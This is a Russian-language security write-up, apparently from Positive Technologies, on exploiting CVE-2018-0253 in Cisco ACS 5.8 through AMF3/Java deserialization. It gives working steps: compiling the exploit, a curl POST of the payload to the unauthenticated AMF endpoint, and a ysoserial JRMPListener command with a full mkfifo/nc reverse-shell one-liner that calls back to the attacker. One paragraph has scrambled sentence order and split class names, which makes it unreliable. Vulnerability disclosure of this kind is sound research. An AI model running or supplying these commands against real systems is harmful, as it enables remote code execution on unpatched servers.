Хабрахабр

Опасный протокол AMF3

Недавно Markus Wulftange из Code White поделился интересным исследованием о том, как можно атаковать веб-приложение, если оно написано на Java и использует протокол AMF3. Этот протокол можно встретить там, где используется Flash и требуется обмен данными между SWF объектом и серверной частью приложения. Протокол позволяет передавать на сервер сериализованные объекты типа flash.utils.IExternalizable. Эти объекты на стороне сервера десериализуются, происходит конверсия типов, и flash.utils.IExternalizable превращается в java.io.Externalizable. Стоит отметить, что классы, которые реализуют этот интерфейс, сами полностью контролируют процессы собственной сериализации и десериализации. Это значит, что можно постараться найти такой класс, при десериализации которого будет выполнен произвольный код.

Externalizable и обнаружил, что в их числе находятся классы sun.rmi.server. Маркус исследовал все классы из OpenJDK 8u121, реализующие интерфейс java.io. UnicastRef2, связанные с механизмом RMI. UnicastRef и sun.rmi.server. После этого механизм сборки мусора попытается установить JRMP соединение с указанным хостом. Если правильно подготовить объект одного из этих классов (инициализировать его ссылкой на хост атакующего), а затем передать его на уязвимый сервер, то JVM сервера зарегистрирует ссылку LiveRef на «удаленный объект». Это можно использовать для проведения атак, связанных с десериализацией. А как известно, протокол JRMP подразумевает обмен сериализованными объектами Java.

CVE-2018-0253 или как мы взломали Cisco ACS

Однажды, во время одного из проводимых нами тестов, мы получили доступ к серверу Cisco ACS 5.8. При этом мы имели возможность подключаться к работающему серверу через веб-интерфейс. В ходе анализа веб-интерфейса мы обнаружили, что от клиента на сервер отправляются POST запросы, содержащие объекты AMF3.

Позже было замечено, что сервер принимает такие POST запросы без авторизации

Значит, можно попробовать провести атаку. Заголовки HTTP ответов говорили о том, что веб-интерфейс реализован на Java.

При компиляции нужно убедиться, что CLASSPATH содержит путь к библиотеке Apache BlazeDS. Скачаем оригинальный эксплоит и поменяем переменные host и port. Запуск скомпилированного кода выведет AMF пакет: сериализованный объект класса UnicastRef, который проинициализирован ссылкой LiveRef на наш сервер.

javac Amf3ExternalizableUnicastRef.java && java Amf3ExternalizableUnicastRef > payload

Отправляем HTTP-запрос, содержащий сгенерированный AMF пакет на Cisco ACS и видим попытку соединения.

curl -X POST -H "Content-type: application/x-amf" --data-binary @payload -k \
https://[IP адрес Cisco ACS]/acsview/messagebroker/amfsecure

Cisco ACS распаковал AMF пакет, десериализовал переданный нами объект, и теперь сборщик мусора пытается установить JRMP соединение на наш сервер. Так произошло, потому что на сервере установлена уязвимая версия библиотеки Apache BlazeDS. Если на этот запрос ответить RMI-объектом, Cisco ACS десериализует полученные данные, и выполнит наш код.

Она выступит в роли JRMP-сервера: клиент при подключении получит объект из библиотеки CommonsCollection1, внутри которого — код для выполнения реверс-шелла. Используем утилиту ysoserial.

java -cp ysoserial.jar ysoserial.exploit.JRMPListener 443 CommonsCollections1 'rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc [IP адрес компьютера атакующего] 80 >/tmp/f'

Теперь повторим отправку AMF пакета и получим reverse shell:

Вместо заключения

Найденная уязвимость позволяет неавторизованному атакующему выполнять произвольные команды от привилегированного пользователя. Производителем она была оценена в 9.8 балла по шкале CVSS. Советуем всем, кто использует данное ПО, установить последний патч.

Уязвимое ПО:

  • Cisco ACS < 5.8.0.32.7 – уязвима, авторизация не требуется;
  • Cisco ACS 5.8.0.32.7, 5.8.0.32.8 – уязвима, требуется авторизация;
  • Начиная с Cisco ACS 5.8.0.32.9 – уязвимость закрыта.

Авторы: Михаил Ключников и Юрий Алейнов, Positive Technologies

Теги
Показать больше

Похожие статьи

Добавить комментарий

Ваш e-mail не будет опубликован. Обязательные поля помечены *

Кнопка «Наверх»
Закрыть